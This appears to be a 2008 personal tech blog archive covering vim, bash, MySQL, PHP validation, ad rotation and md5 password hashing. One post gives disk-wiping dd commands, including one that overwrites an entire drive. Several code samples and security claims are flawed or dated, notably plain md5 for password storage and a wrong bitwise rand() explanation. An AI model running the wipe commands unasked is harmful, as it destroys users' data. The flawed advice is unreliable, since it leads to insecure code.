After you have saved the script we need to tell Opera where to look for it.

Go to Tools > Preferences > Advanced > JavaScript Options

Where is says User JavaScript Files click Choose and point to the folder we created (’UserJS’).

Save your settings and restart Opera. You will now have a nice in-line spell check button at the bottom of every text area form. In order for the button to show up you will have to click in the text area.

I am not sure why Opera hasn’t come up with a better solution for spell checking. They are usually ahead of the game when it comes to new features. Thankfully I found a script that added the in-line spell checking.

Weekend Link Roundup: Week 12

2008-06-14T00:00:00Z

CSS Compressor - A cool script that will compress your css files. Most of my files were compressed by 20% or more.

CssTidy - I found this shortly after cssdrive’s script and thought it was much better at compressing. Both of them are worth checking into.

Opera 9.5 is Released! - I have been using the beta release for awhile now and I LOVE it. The final release is now out and filled with new features. “Opera continues to lead in performance. Opera 9.5 makes dramatic speed improvements to the e-mail client, RSS feeds and the browser itself, so you can spend more time getting things done online.”

Opera Dragonfly - The Webdevelopment suite for Opera - This basically works like firebug for firefox.

Field Guide to Firefox 3 - I personally like Opera at the moment, but firefox is making a lot of improvements to their newest beta release. Check out this article for a complete guide on whats happening with the up and comming Firefox release. I personally don’t like the new look of firefox’s forward and back button. I think it looks way too similar to IE7.

15 Tools to Help You Develop Faster Web Pages - A nice list of tools to help with rapid web development. I use some of these tools myself.

How to Recover Deleted Files with Free Software - See what is actually stored on your hard drive even after you delete it.

Ransomware Encrypts Victim Files With 1024-Bit Key - Viruses are now encrypting files with 1024 bit keys requesting ransom for your files. Talk about a destructive virus. With current technology there is no way to reverse the encryption without the key. Be very careful and make a backup of your data. I have a feeling we will start to see more of these types of viruses in the future.

Installing Mysql 5.1 on FreeBSD 7.0

2008-06-12T00:00:00Z

Well we all love Mysql and a lot of times it is the first things we install on a server. I recently installed it on my FreeBSD 7.0 server and it went pretty smooth. You can install mysql from the FreeBSD Ports Collection.

cd /usr/ports/databases/mysql51-server make install clean

Then you will have to wait until the package builds itself from source. This may take some time so feel free to browse around the rest of the blog or grab a bite to eat.

Once that is done you will want to use mysql’s install script to get you up and running:

/usr/local/bin/mysql_install_db

Make the mysql directory owned by the user, ‘mysql’.

chown -R mysql /var/db/mysql/ chgrp -R mysql /var/db/mysql/

Run mysql as the ‘mysql’ user.

/usr/local/bin/mysqld_safe –user=mysql

Then you will want to set the Mysql root password:

/usr/local/bin/mysqladmin -u root password YoUrPaSSwoRd

Start Mysql on Boot

You will probably want Mysql to start on boot. To enable Mysql on boot you will need to add a line to your rc.conf file. I used my favorite text editor vim to edit it.

vim /etc/rc.conf

Then add the following lines near the bottom:

# Enable Mysql mysql_enable="YES"

Thats it! You should have a working installation of mysql and have it configured to load up on boot.

Set Up BASH PS1 and Colors for Dreamhost

2008-06-11T00:00:00Z

The PS1 is the text that you see to the left on the command prompt. Often times it will read something like, mark@debian~/$. This text reveals a lot of relevent information. The first part, ‘mark’ tells us the username. The ‘@debian’ tells us that the machine’s name is ‘debian’. The ‘~/’ is the current working directory and the ‘$’ means that we are using a non-root user.

The problem with Dreamhost is that their default shell only contains a bare minimum PS1 without colors. The default Dreamhost shell only contains the hostname. Without having the working directory in the PS1 we would have to type, ‘pwd’ to know which directory we are in. This is incredibly annoying and this is one of the first things I change. The other thing I do is add colors to the ‘ls’ command. This makes it easier for us to distinguish between files and folders.

Editing the .bash_profile

To edit .bash_profile you open it up in your favorite text editor, mine is vim.

vim ~/.bash_profile

This will open the the text file, ‘.bash_profile’. On Dreamhost the default file will only contain two lines:

# ~/.bash_profile: executed by bash(1) for login shells. umask 002

Below this line is where we will make our modifications to our bash profile that will give us colors and a more descriptive PS1.

I am used to using the default Debian colored PS1. Since Dreamhost uses debian it makes sense to me to change this to:

PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '

You can also customize the PS1 colors of the bash prompt to your own preference.

This will give you a nice green prompt with username@host:/current/path$ syntax. This will allow us to easily see which directory we are working in without having to type ‘pwd’ all the time.

Adding color for directory listing

To add color to the ‘ls’ command you will need to add this to your ‘.bash_profile’.

if [ "$TERM" != "dumb" ]; then eval "dircolors -b" alias ls='ls --color=auto' fi

This will first check to see if the terminal supports colors and then map an alias to ls.

Validating Usernames with PHP

2008-06-10T00:00:00Z

Improperly validating user input has become a common scenario in security exploits these days. Recently there was a flaw in the way digg sanitized user input allowing the hacker to have his articles auto dugg. Although it took digg awhile to fix the issue, it is now resolved. The problem is that these types of attacks are becoming more common. Websites these days are rapidly evolving and changing. Programmers are pressured into producing working code in the shortest amount of time leaving room for security flaws to be left un checked.

As a PHP developer or even a guy that modifies PHP code from time to time, it is important to always validate user input. This is also called sanitizing input. This function will properly validate usernames.

The Function

function cleanUsername($string) {
     if (preg_match('/^[a-z\d_]{4,28}$/i', $string)) { 
     echo $string;
     } else {
     return false;
     }
}

The following function will check to see if the username is comprised of only ‘a-z’, ‘0-9’, and ‘_’. If the username is malformed it will return false.

You can also validate telephone numbers, ip addresses, and zipcodes. Remember everything that a user can submit should be validated/sanitized. This goes for search boxes, passwords, zip codes, usernames, email addresses, comments, etc.

Using Markers in Vim

2008-06-09T00:00:00Z

Vim is a powerful text editor that pretty much rivals anything out there. Once you get used to the commands and hotkeys you can wiz through config files. Vim is also very popular for programming, not only for its productivity reasons but also because it incorporates syntax highlighting, aliases, code folding, line numbers, and more.

It also makes perfect sense to use vim when editing remote files for two reasons. The first being that vim can connect remotely through FTP, SFTP, or SCP. The second is because vim is almost always installed by default on Linux systems. This means if you have SSH access to your web host you will be able to modify files with vim directly through SSH.

Today we are going to discuss vim markers.

Markers are like little bookmarks within your text files allowing you to jump around your document/code. Since vim uses modes and pretty much any action can be incorporated we can also use markers to:

Flip back and fourth through text
Delete large chunks of text
Copy/Cut large chunks of text
Paste large chunks of text
Marking code for folding

Usage

mk (set marker to k, You can use up to 26 markers a-z
‘k move to the begging of the line of marker location ‘k’
`k move to marker ‘k’

Examples

Flip back and fourth through Text

To flip back and fourth through text you start by setting your first marker. You can set the marker to, ‘k’ by doing, ‘mk’ in normal mode. Just in case you forgot, you can get into normal mode by pressing esc. Then go to another part of the document you want to refer to and set the marker to, ‘n’. As you did before the command would be, ‘mn’. Now when you whenever you want to flip to the k marker you can use, ‘k**' or '**n’ for the ‘n’ marker.

Delete large chunks of data.

Since vim’s command structure is so easy you can probably guess what command will make this happen. What we need to do is first set the marker at the bottom of the text we want to delete. This marker is going to tell vim’s delete command to stop. We can then position our cursor at the top of the text we want to delete and type, ‘d’k’. This will tell vim to delete everything from the current position to the marker ‘k’.

Copying large chunks of data

Of course this exact method can be used to copy the text. Vim’s key for grabbing text is ‘y’. It stands for yank. To yank the text between our cursor and our marker we can issue a command like, ‘y’n’.

Marking code for folding

Vim will fold large chunks of code into one line. We can fold code between the current position and our marker by using, ‘zf’n’. The ‘z’ is the folding command ‘f’ tells it to fold and the ‘‘n’ tells vim when to stop. To quickly open the fold and look at it you can use, ‘zo’. To then close it you can use, ‘zc’. A vim fold will include the number of lines and the first line. It might look something like this:

+-- 23 lines: function date_i18n( )-------

Note: Markers are not permanent, if a line or character associated with a marker is deleted, the marker will be canceled.

Weekend Link Roundup: Week 11

2008-06-07T00:00:00Z

Recover Lost Passwords with Free Tools - An interesting set of tools allowing inexperienced users the ability to crack passwords. It’s tools like this that make me a parinoid computer user.

Google command line - Use google like you would a Unix command line.

Montana Fragfest - A Montana gaming community that I belong to. If you like to play games please stop on by. My gaming alias is Bruce LeeRoy, taken from a funny 80s movie, The Last Dragon. We are currently playing mostly Team Fortress 2.

Acer bets big on Linux - Good to see other companies understanding the power behind linux and its free license agreement.

Yubico - If you love multi-factor authentication and the paypal security key, you are gonna love this device. Its basically a usb virtual keyboard that prints out a different password based on the time and serial number of the device when you press the button on it.

Where did all the PHP programmers go? - Are you a PHP programmer?

Improved SEO documentation galore! - As you all know I am a big fan of SEO and am always trying to keep track with the ever changing SEO practices. This is a new golden nugget of information offered directly from Google on the topic. If you own a website this article (and the entire blog) is worth a read.

Google’s Position on Paid Text Links - If you are using text-link-ads, or any other paid text link service your page can be reported and subject to lose your abilty to pass on page rank.

Dreamhost with Gmail and Google Apps

2008-06-06T00:00:00Z

Dreamhost just anounced in their monthly newsletter that they now offer one click domain linking with Google Apps. All you have to do is:

Log into your Web Panel and visit the “Domains > Manage Domains” section
Click on “Edit” button under “Web hosting” for the domain you wish to use with this service
Under the “Fully Hosted” section, click the checkbox next to the GMail
Then, click on the “Change fully hosted settings now!” button
You will be redirected back to the “Domains > Manage Domains” page, where a greeen “Success!” message will appear. An email will be sent with information on setting up the rest from Google’s Side.

Since it takes time (few hours) for the MX records to change you might want to do this during non production hours to minimize lost emails.

Why is this cool?

Because now you can have your own @domain.com that runs through the gmail interface. Which means you get all the great spam protection, search and web interface. Since Gmail can be connected to via IMAP, any client can connect to it. This means that for your @company.com email addresses that get loads of spam you can switch to gmail servers and have them deal with it. If the end user is using a program like outlook, mutt, or a CRM program they wont even notice a difference in the way they check email. The only difference will be less spam.

Of course Gmail is not the only thing offered with Google apps. You also get the other services such as Google Calendar and Google Docs.

Using Gmail with Mutt and IMAP

2008-06-05T00:00:00Z

I am not quite sure why it is but there are always people that want to do things faster and more efficient, even if the current system is working fine. I have to admit I love to tweak things to no end. For whatever reason I am attracted to this type of perfection. I want to optimize code, automate, and increase my productivity as a user. Just as there are more efficient text editors and operating systems, we also have more efficient email programs. Mutt is one of them. Since Gmail offers IMAP we can retrieve our emails with an email program such as mutt.

Installing Mutt

Mutt is usually installed by default on most Linux distributions but sometimes we need to install it.

For Debian systems:

apt-get install mutt

For Gentoo:

emerge mutt

Using Gmail with Mutt and IMAP

You can open Mutt by typing ‘mutt’ and pressing enter. Once connected you will then need to tell Mutt where your mailbox is. Our mailbox is stored on Google’s servers. To open it hit, ‘c’ and type:

imaps://imap.google.com:993

You will then be prompted to type in your username and password.

Congratulations you are managing your email with mutt.

I highly recommend checking out the Mail Concept. For understanding how email actually works. Most of use don’t appreciate what goes into the mail delivery/sending system since its usually configured for us.

To configure Mutt to send mail you may want to check out, Send Mail Postfix through Gmail’s SMTP.

If you want to make a backup of all your emails you can use fetchmail to backup gmail.

Modify Remote Files with VIM's Built in FTP Plugin

2008-06-03T00:00:00Z

I can’t tell you how excited I am that I found out about this. Vim has a built in plugin to connect to FTP sites. What this means is that you can modify your web documents from vim without having to save the file and then FTP the file up to the server. With this plugin all you have to do is save your work and it is reflected on the server.

I know jedit and many other programs have this feature built in, but vim is by far a more robust programming editor than jedit when you get used to it. So i was very excited that this was built into vim as well.

If you are one of those guys that make quick edits in notepad, save the file, open your ftp program, type in your username/password and connect to the server and then transfer your files, this will save you tons of time. As you can have both the productivity of Vim with remote editing.

To edit a remote file with vim you can use:

vim ftp://username@yourdomain.com//the/path/to/yourfile.php

Now I know what you are thinking. I don’t always know the path to my files and it would be nice if I could get a directory listing or choose the files like I do when I use my FTP program.

No problem. The default ‘:e’ command wil open the current diretory. You can also open the root directory like this:

vim ftp://username@yourdoamin.com//

This will open up a directory listing. To open the folder just press enter.

Bonus Tips

You can turn on vim’s syntax highlighting by using, :syntax on

If you have a dark backgound sometimes the syntax highlighting can be dark. To make it lighter tell vim, ‘:background=dark‘

Making GVim your Default Text Editor in Gnome

If you want line numbers you can use, ‘:set number’.

Use VI Functions in the Command Line

Happy programming!

Validating an IP Address with PHP

2008-06-02T00:00:00Z

For security purposes, all user input should be validated before accepting. In this case we are going to run a regular expression to determine whether or not an IP address is valid. This function could be used on forms or web applications where you ask the user for an IP address.

Last week I wrote about Validating Telephone Numbers With PHP and Using PHP to Accept Only Numbers From User Input.

So here it is.

The Function

function valIP($string) {
    if (preg_match(
    '^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.](?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}$^',
    $string)) { 
    echo $string;
    } else {
        echo 'Invalid IP Address';
    }
}

Weekend Link Roundup: Week 10

2008-05-31T00:00:00Z

The Web Developer’s SEO Cheat Sheet - Pretty much all the major SEO topics combined in one sheet.

How to build a maintainable site using Cushy CMS and Twitter - This is a great tutorial that builds a personal bio page from scratch that can be updated with twitter and Cushy CMS.

http://www.easyvmx.com - As you may know Vmware offers their Vmware player for free but you can not create an image. With this site you can specify the type of image, hard drive space, and other attributes and a Vmware image will be auto generated.

Open CourseWare for Linux Geeks: 50+ Resources - Over 50 free online Linux courses. What a great find.

10 things your IT guy wants you to know - As a former “IT Guy” I find this article both funny and relevant.

The $1,632 copy of Windows Vista - An interesting story about a man that was charged multiple times for a single copy of Windows Vista.

Coders Tell Why They are Avoiding Vista - 1 in 12 coders are writing applications with Windows Vista in mind.

Database Normalization and Table structures - A nice introduction do database normalization. This article brings back memories of my database course in college.

Validating Telephone Numbers With PHP

2008-05-30T00:00:00Z

There are many different ways a user might input a phone number. Sometimes they may choose to input it as, (555) 555-5555. Other times they will use 555-555-5555. As a developer we never really know how they might input the number. Often times we can give our users an example and they will still enter the wrong format. I have created a script that will strip out all characters in a string except numerical digits. This not only creates a standardized string that can be later used in a comparison or stored in a database, but also ensures that the data that is received on the server end contains only the expected data. This is important because most website attacks are caused by accepting user input blindly.

Client vs Server Validation

There are two ways of validating user input, server side and client. On the client side we could have javascript that checks the form for certain validation requirements when the user clicks the submit button. This is a great way to validate the input since the user will be notified before submitting the data if it is valid or not.

The problem with validating user input on the client side is that there is no security. The user could simply turn off all javascript or send the data through curl or some other method that bypasses the validation script. For security purposes it is imperative that we validate all user input on the server side. The problem with the server side validation is that the people that make an honest mistake must suffer a page refresh.

As an answer to this problem most sites will use both forms of validation. That way if the user makes an honest mistake a javascript popup can alert you before you submit; however, if you have javascript turned off the data will be submitted but the server will validate and reject the error.

Validating Telephone Numbers with PHP (Server Side)

Here is the function that I came up with for validating telephone numbers with PHP:

function validatePhone($string) {
    $numbersOnly = ereg_replace("[^0-9]", "", $string);
    $numberOfDigits = strlen($numbersOnly);
    if ($numberOfDigits == 7 or $numberOfDigits == 10) {
        echo $numbersOnly;
    } else {
        echo 'Invalid Phone Number';
    }
}

Validating Telephone Numbers with JavaScript (Client Side)

To validate via javascript you would need something along these lines:

var stripped = strng.replace(/[\(\)\.\-\ ]/g, '');
if (isNaN(parseInt(stripped))) {
   error = "Invalid Phone Number";
}

"Rick Rolling" Your Hard Drive

2008-05-29T00:00:00Z

If you remember back to my article about dd you will remember that it is a very powerful utility for writing to hard drives. In this post we are going to use it to “rick roll” the hard drive. I will show you two different “rick rolling” methods as well as describe what a “rick roll” is.

What is Rick Rolling?

From Wikipedia:

Rickrolling is a prank and Internet meme involving the music video for the 1987 Rick Astley song “Never Gonna Give You Up”. The meme is a classic bait and switch: a person provides a Web link they claim is relevant to the topic at hand, but the link actually takes the user to the Astley video.

In our sense of the meaning we are going to make our “deleted” data on our hard drives appear as if it was the Rick Astley video. Anyone attempting to retrieve removed data will be surprised to find a weird guy video of a guy singing a catchy tune from the 80s.

Why rick roll your hard drive?

Well, there are multiple reasons to rick roll the drive. These reasons range anywhere from, because its funny, to actually serve a legitimate reason. If you have been paying attention to the news lately you will remember that a US court ruled that border agents can search your laptop, or any other electronic device, when you’re entering the country. No, this doesn’t mean they want you to take it out of the bag and run it through the metal detector. The courts have ruled that the laptop’s contents can be downloaded and stored.

You should know by now that when you hit the delete button you are not actually removing any data. Hard drives don’t have any mechanism to actually remove or destroy deleted contents. They only know how to allocate space. If you delete a large block of data on a hard drive the hard drive will remain in pretty much the exact state it was in before you deleted the block. The only difference is that the hard drive knows now that it has permission to write over top of the data in that block. Of course if you don’t write any data for a long time that data will be there indefinitely.

Thus, removed/deleted data can be seen by anyone that has access to your computer!

So what are we to do? Lets Rick Roll it!

Rick rolling the empty space

There are two ways to rick roll your hard drive. The first is rick rolling the empty space. You will want to choose this option if you want to keep what you have on your hard drive but destroy any data that you have deleted.

Effectively what we are going to do here is write over any unused blocks of data with a lovely Rick Astley video. Any data that was once recoverable will be gone and the lucky person that has the job of looking at your data will get “rick rolled”.

In order to write over the empty space of your hard drive with Rick Astley you will need to actually go and download the video from Youtube.

If you are using a Linux/FreeBSD machine you can use wget.

If you are using Windows you should probably just use one of those free online youtube downloading sites.

We are going to use a lovely utility called, dd. It usually comes with all Linux distros and FreeBSD. Windows users will have to download it. This utility is great at reading and writing data, securely wiping files, duplicating CDs, and Making Backup Images of your Hard Drives, but it doesn’t have a way to loop an input file. For this reason we need to create a small script that will do the looping for us.

First create a text file with your favorite editor:

vim rickrollscript.sh

Copy and paste the following code in the text file:

#!/bin/bash x=1 while [ $x = 1 ] do dd if=rickroll.flv >> deleteMeLater.tmp done

In order for a shell script to run, it must be executable:

chmod +x rickrollscript.sh

Now all you have to do is run it. This script can be ran from a regular user account:

sh rickrollscript.sh

Depending on the size and speed of the hard drive it may take a little while to fill it up. You will know when it is done when you are greeted with something like this:

dd: stdout: No space left on device

When you notice this message you can hit ctrl + c to end the loop.

What this script has done is created a file that is as large as the empty space on your hard drive and filled it with the Rick Astley video. To tell our hard drive that we want that space back we simply delete the file that says, deleteMeLater.tmp. Once this is done you will have all your hard drive space back again but this time the underlying data is that of the great Rick Astley instead of the data you have deleted in the past.

Rick rolling the entire drive (destroying all data)

nbsp; If you wish to destroy ALL the data on the drive you will need to boot into a live CD or boot up from a hard drive other than the one you are rick rolling.

First run this command. Making sure to replace hda with the hard drive you want to roll:

dd if=/dev/urandom of=/dev/hda

Then repeat the steps you would use in rolling the empty hard drive space.

Conclusion

Rick rolling the hard drive is an interesting way to destroying removed data but probably not the easiest method. For example if you wanted a quick way of destroying the empty space you could use:

dd if=/dev/urandom of=deleteMe.tmp bs=100000000 count=1000000000

This will overwrite all the empty space with random data. Although this method is a little bit easier and a little more secure, it is not as fun.

Using wget to Download Youtube Videos

2008-05-27T00:00:00Z

Today I am going to show you a neat way of downloading Youtube videos using wget. Most Linux distros will come with wget. If you don’t have it, check with your distro for instructions on how to install it. Windows users can get wget here.

First locate the url of the video you want to download.

Hmmm… Here is a good one:

http://youtube.com/watch?v=eBGIQ7ZuuiU

Then open up your terminal and type:

wget -O deleteMeLater.tmp http://www.youtube.com/watch?v=eBGIQ7ZuuiU

This command will quickly download the page’s html.

Since Youtube has other flash objects and related videos we need to find the one we want. Fortunately Youtube uses the same layout for all their videos.

cat deleteMeLater.tmp | grep fullscreenUrl

This gives me the url I need for the video:

var fullscreenUrl = '/watch_fullscreen?fs=1&BASE_YT_URL=http%3A%2F%2Fyoutube.com%2F&vq=None&video_id=eBGIQ7ZuuiU&l=210&sk=QHSGy-6-eiJ6h5qtrj1kR2OJanvL6tLlC&fmt_map=&t=OEgsToPDskIjlCX_1shTRBRDv2UQzVb-&hl=en&plid=AAROOIUyvpMFnjvzAAAAoARsYAg&tk=6J3d54cPnMJP7mUN2BtMkd2OmbgxTvB_GPcrV3ckGUbzd7KVMiH1kA%3D%3D&title=Rick Roll';

We are mostly interested in the video_id= portion of the URL. Finally, to download the video we can use:

wget -O rickroll.flv 'http://www.youtube.com/get_video?video_id=eBGIQ7ZuuiU&l=210&sk=QHSGy-6-eiJ6h5qtrj1kR2OJanvL6tLlC&fmt_map=&t=OEgsToPDskIjlCX_1shTRBRDv2UQzVb-&hl=en&plid=AAROOIUyvpMFnjvzAAAAoARsYAg&tk=6J3d54cPnMJP7mUN2BtMkd2OmbgxTvB_GPcrV3ckGUbzd7KVMiH1kA%3D%3D&title=Rick Roll'

You can change the file name rickroll.flv to anythingYouWant.flv. Wget will save the .flv (flash video) in the current directory.

Weekend Link Roundup: Week 9

2008-05-24T00:00:00Z

Design Pattern Library - Yahoo has made a collection of web design patterns that they see. This is very interesting. Check it out.

New Order - One of my favorite security resources.

Special ALT Characters - Here is a list of ascii characters and how you type one. These are great to add to your passwords to make them more secure.

35 Portable Applications that Every Tech Needs - The article should read, “35 portable applications every windows tech needs”, but it is still a handy list of useful apps.

What a 1GB hard drive looked like 20 years ago - It is amazing how fast technology changes.

The Top 75 Open Source Security Apps - Although not in any particular order these open source apps are worth checking out. You probably know about most of them but you might find something new.

iptablesrocks.com - If you are new to the Linux firewall iptables this site will walk you through it from zero to hero.

43 Ways to Optimize your PHP Code - A very cool list of PHP optimizations you can start using in your code today. There are lots of optimizations that I didn’t know, apparently echo is faster than print. I never use print but now I know why. It turns out that $row[’id’] is 7 times faster than $row[id].

Rotate Ads with PHP

2008-05-23T00:00:00Z

There comes a point where a site can have too many advertisements or there simply isn’t enough space for another ad. We also don’t want to distract our users from the content too much. This is where ad rotating can come in handy. With rotating you can have two ads displayed in the same space.

Split testing is another great reason for rotating ads. If you remember back to my post about split testing Adsense ads I found there was a significant difference between different the 250x250 block and the 300x250 block. These results came as a shock to me. Maybe your ads will surprise you you. The only way you will know is to test them yourself since all sites will have varying results.

The code

<?php $splitIt = rand()&1; echo "<!-- $splitIt -->"; ?>
<?php if ($splitIt == 0) { ?>
<!-- First ad goes here -->
<?php } ?>

<?php if ($splitIt == 1) { ?>
<!-- Second ad goes here -->
<?php } ?>

Although it is best to to use only two ads when testing, we can add multiple advertisements for rotation purposes by using this code:

<?php $splitIt = rand()&3; echo "<!-- $splitIt -->"; ?>
<?php if ($splitIt == 0) { ?>
<!-- First ad goes here -->
<?php } ?>

<?php if ($splitIt == 2) { ?>
<!-- Second ad goes here -->
<?php } ?>

<?php if ($splitIt == 3) { ?>
<!-- Third ad goes here -->
<?php } ?>

Bonus Tip

If you noticed in these examples that I didn’t use:

$splitIt = rand(0,1);
$splitIt = rand(0,3);

This is because it is faster to use bitwise operations instead of math calculations; however it only works for ranges that aren’t a power of two. For example you could use the bitwise method for 1, 3, 5, 7 but not 2 or 4.

To rotate between 4 ads you would need to use:

$splitIt = rand(0,4);

One-Time Use Credit Cards

2008-05-22T00:00:00Z

A new era of credit card protection is here! Paypal is offering disposable one-time use credit cards free of charge. You don’t even need to even own a credit card to use them. A simple Paypal membership will suffice.

Today I was logging into my Paypal account using my Verisign security key. The security key makes logging into Paypal so fun that I do it more than I need to. Yes I know its nerdy and the novelty will probably wear off soon but while in the middle of my nerdy habits I rediscovered the Paypal secure cards.

I have known about Paypal’s ability to generate one-time passwords for about a month now. Last time I checked the service I was under the impression that you needed to have a Paypal credit card in order to generate these one time use credit cards. On top of that Paypal made it seem as if you needed to download their Windows only plugin to take advantage of the service. That was until I logged in recently and noticed they had changed the site layout a bit and the secure cards option is built into the web interface.

There is no need to have a Paypal credit card or use the Windows only plugin. This is great news because I don’t need yet another credit card and as a Linux user I am annoyed by crappy plugin software that is Windows only.

Why this is awesome?

It is awesome because it adds another layer of protection against identity theft and un-authorized credit card charges. I did a quick search and no other company is offering a similar service. With the combination of using my security key for multi-factor authentication and the one-time use credit cards this is as secure as it gets right now.

Let me tell you a quick story. About two years ago I signed up to a free credit report. My roommate had said how great of a service it was and how you get two of them for free each year. I thought well, what is there to lose? Well I can tell you it cost my about $60 by the time it was over. You see when I signed up they requested a credit card to verify that I was who I said I was. Normally I would have been a bit skeptical at this point but since the credit reporting companies are owned and operated in joint with the credit card companies I figured it was a legit way of verifying my identity.

Well a few months later I received a strange bill on my credit card statement. The line item on the statement didn’t have the company’s name or anything indicating that it was the credit reporting company. After further investigation I found out that they had been charging me $12.95/month.

I am sure the charges were written in fine print but who reads the fine print? If I had used Paypal’s one time use credit card I would never have had this problem. I would have made a credit card with a maximum charge of $1 and used that “card” to sign up for their shady service. As soon was I was signed up I could then disable the card.

How it works

To use it, login to Paypal and go to Paypal Plugin then Secure Cards. From there you click Generate New. You will then have the option to make a single use card or a multi-use. The single use credit card can only be charged one time. All other charges after the initial charge will be declined.

The multi-use cards will accept the first company that charges it. Every charge after the first must match the company name or the charge will be declined. This is great for setting up a credit card for repeat charge subscriptions.

In the beta version they allowed you to specify the credit card’s max value. Unfortunately, it doesn’t look like they are supporting this feature anymore. I really hope they bring it back.

No more traditional credit cards

For online purchases this is it. I am done using traditional credit cards for online use. If you think about it why would you ever give your number to anyone online? They don’t need the physical card or your signature to make the charge. The CVV2 and address verification is not always done by all companies. In my opinion Paypal’s method is far superior. Of course, shady companies like the free credit report wont like it too much when the “card” is canceled moments after signup. I have no sympathy for a business with a revenue model that preys on people that don’t read the fine print.

50 Reasons Why I Love Linux

2008-05-21T00:00:00Z

I love Linux so much I made a list of 50 reasons why I love it so.

I can extract something with one command without opening a separate program.
I can print a document without opening it.
I can update all applications with two magical words, apt-get upgrade.
Its free
Its free as in beer.
Its more secure than Windows
I can run on pretty much any hardware.

8. It is highly scalable… I can install it on a 486 or a dual core.

Help is readily available and free of charge.
Well documented
No need for some obscure knowledge base
A standard help system that is actually useful (man)
Powerful CLI
Many of the best programs are available for Linux for free. ie. Apache, MySQL, ProFTPd, SSH, OpenVPN. You would have to pay hundreds if not thousands of dollars for Windows programs that accomplish the same thing. On top of that you will have to pay for support
No need to call a tech support center in India to activate your fully legal OS.
Linux can be configured to run without a GUI for max performance. This is especially useful for servers. Other operating systems don’t have this luxury.
It doesn’t ask me if I am sure I want to delete something….twice
Many of the programs are configured with a simple config file. This makes editing much easier than navigating through pages and pages of tabs and radio check boxes. You can even structure your config file with your own comments to make editing easier for you. Change something often? Put it near the top. If you switch something on and off often and it is buried behind 9 gui screens it might take you 10 5 times longer to switch it.
Linux will actually give you a reason why something had an error.
Linux wont tell me that my automatic updates are turned off every single minute of every day.
When I update Linux it won’t turn on a firewall automatically without my permission (Windows XP SP3 does this) and turn on services I had previously set to disabled.
Linux pretty much forces you to be a “non-administrative” user.
You can unmount something really fast with one command. Instead of double clicking on a silly icon navigating through all the USB devices plugged in select the right one only to find out that the device you are trying to unmount cannot be unmounted at this time.
Depending on the distro it is a lot easier to install than Windows.
Linux detects and installs more drivers for my hardware than Windows.
Linux comes with drivers for my onboard Sata where Windows XP does not.
Linux comes out with a new kernel constantly. Windows comes out with one once every couple years.
With Linux we can compile our own kernel so we don’t have to a wear a one size fits all hat.
You can choose which type of desktop environment you want.
You don’t have to worry about spyware, viruses, or worms. Even if they were prevalent they couldn’t be installed unless you did it yourself.
When you “end a task” in Linux it actually works.
You can check your CPU’s temperature without installing any software.
The command line auto complete feature works the way you expect it to.
To list the contents of a directory I only have to use two keys instead of three (ls vs. dir).
Linux’s CLI actually ads value to the OS.
I can build a computer myself and still get a good price on the retail version of Linux (free).
I can control my computer remotely with SSH. Windows comes with remote desktop which was not encrypted last time i checked. It also was slow and supports only a few connected users unless you pay Microsoft more money for a terminal server.
Linux tends not to hide details
I can see the OS uptime without installing some Microsoft power user program.
Linux comes with a program that will eject my CD-Rom. This comes in handy when making automated CD backups and other scripts.
Linux passwords cannot be cracked in seconds like Windows.
I can print an entire directory of pdfs with ‘lpr *.pdf’. In Windows you would have to open each with Foxit Reader or the bloated Adobe Acrobat.
You can have really cool desktop effects that rival even OSX effects.
You can choose a filesystem that better fits your needs. With Windows you have two options old out of date crappy NTFS or even more out dated FAT32.
If you loose your Linux CD or don’t feel like downloading one you can get one mailed for free (ubuntu).
It supports more than 3/4gb of ram without updates and hacks.
You can get all applications you need without opening your browser or getting out your wallet and many times they are better than commercial solutions.
It doesn’t crash… ever… Its so reliable companies have used it as dedicated router firmware.
You don’t have to pay more money for multiple connected users.
When there is a security exploit I can expect a patch the next day not the second Tuesday of every month.

Using PHP to Accept Only Numbers From User Input

2008-05-20T00:00:00Z

Almost all website attacks are caused by developers failing to sanitize user input. The standard security practice for handling user input is to “whitelist” it. Whitelisting converts ANY user input into the expected data type. For example if the input you are expecting is supposed to be a zipcode you need to create a script that will only except 5 numerical digits (9 if you support the +4 zipcodes). The more defined you can make your whitelist the more secure your script will be. If the user’s input cannot be converted to the whitelisted data type, in our case 5 numerical digits, then you return an error, “invalid zipcode”.

Why sanitize input

If you do not sanitize user input you run in the risk of cross site scripting (XSS) attacks, SQL injection, and other attacks. We as developers often write code expecting a certain type of user input not realizing that the user may not always give us what we expect. Since we have no idea what the user might send we can’t trust them (sorry). For best security practices we should always assume the user could be an attacker.

Another benefit of sanitizing the code is correcting typos. Maybe someone just typed in ‘90210p’ as a zipcode on accident or maybe they left a space at the end. Instead of wasting the user’s time redirecting back and spitting out an error message, “invalid zipcode” you could strip off the ‘p’ and run the script normally. Although we can’t trust our users we shouldn’t make it more difficult for them.

The Function

Here is a function I created that takes any string, finds all numbers and drops the rest.

<?php
function sanitizeInput($string) { return ereg_replace("[^0-9]", "", $string); }

echo sanitizeInput('blah123');
?>

The above example would output, ‘123’.

Even if the user input is not going to be used in an SQL query, you should always sanitize the input!

Creating a Secure Md5 Hash for Storing Passwords in a Database

2008-05-19T00:00:00Z

Often times we, as developers are required to create authentication systems. When developing an authentication system it is always best to make it as secure as possible. One of the problems that arise when creating an authentication system is storing the username and password of our users. One way to store the username and password would be to simply make a column in a table called usernames and a column called password and store each user’s login credentials in plain text.

Storing login credentials in plain text would certainly be easy to implement; however, it creates more risk to our users. Anyone with access to the database could possibly view the login passwords of anyone of the users. Since users often times use the same password for other applications and services, you as a developer or service would have added responsibility and risk since you know their username and password if stored in plain text. A better solution would be to not even know the user’s passwords ourselves.

But, if we don’t know the password how could we possibly authenticate a user? The standard way of doing this is using what is called the md5 hash. You can think of an md5 hash as a one-way encryption. Once an md5 hash is created there is supposed to be no way to reverse it. What we can do instead is compare the hash we have stored in our database (the user’s password) with a hash of what the user typed in. If the two hashes match, whatever it was the user typed in previously, must have been the same thing he typed in when we stored his password. Thus we can verify the password without actually knowing what the password is.

A Simple Md5 Hash

<?php
$password = 'mypassword';
$hashedPassword = md5($password);
echo $hashedPassword;
?>

